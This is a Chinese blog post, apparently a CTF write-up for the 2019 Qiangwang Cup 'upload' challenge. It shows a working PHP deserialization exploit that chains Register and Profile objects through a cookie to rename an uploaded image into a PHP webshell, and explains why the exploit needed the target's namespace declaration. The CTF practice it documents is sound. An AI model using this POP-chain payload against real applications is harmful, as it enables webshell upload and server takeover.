今天做了一道BUU上收录的2019强网杯upload,解题过程中拿到了题目源码,里面有个函数会对cookie进行反序列化,基本思路就是利用反序列化和源码中的魔术方法构造POP链进入upload_img函数绕过对上传文件的强制命名,从而拿到webshell

结果EXP都写好了,生成的字符串换到Cookie里面刷新却没能成功,找了别人的EXP过来对比自己也看不出哪里不一样,但是把别人的拿来用又行了,怎么会是呢?以下是我最开始写的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Register{
public $checker;
public $registed = 0;
}
class Profile
{
public $checker=0;
public $filename_tmp='./upload/f9e1016a5cec370aae6a18d438dabfa5/1741b019882cc15c136b1977bcd295bc.png';
public $filename='./upload/f9e1016a5cec370aae6a18d438dabfa5/shedsall.php';
public $ext=1;
public $except = array('index'=>'upload_img');
}
$a = new Register();
$a->checker = new Profile();
echo base64_encode(serialize($a));

擦亮眼睛仔细对比后,我发现了自己写的EXP和别人的不同之处,他们的EXP开头都有一行代码:

1
namespace app\web\controller;

namespace的作用是分配命名空间,可以起到防止变量、函数、类名重复的效果,runoob上有一篇专门讲PHP中的命名空间的文章很不错:

https://www.runoob.com/w3cnote/php-namespace-intro.html

其中提到了当调用其它命名空间(如test)下的类名(如Register)时,需要使用\test\Register :一种像文件路径的语法: \空间名\元素名

而当我们用echo输出对EXP添加命名空间前后的序列化字符串时,也能发现其中的不同(上面的结果是不添加Namespace的,下面的反之)image-20230409201602246

类名从Register变成了app\web\controller\Register,即\空间名\元素名的语法,所以说序列化后的字符串是会受到namespace影响的

那么问题来了,为什么我们一定要添加这行代码声明命名空间才能执行成功呢?我翻了翻题目源码:image-20230409202024875

原来是题目源码中规定好了这样的命名空间,所以也只有声明了同样命名空间的EXP才能生成有效的序列化字符串,不然类名都不同了。

这种疏忽完全来源于基础的薄弱……但是边做边学效率才是最高的,嗯…我认错但还是不改。

事情到这里就算告一段落,我写下这篇博客后也心满意足地看比赛去了~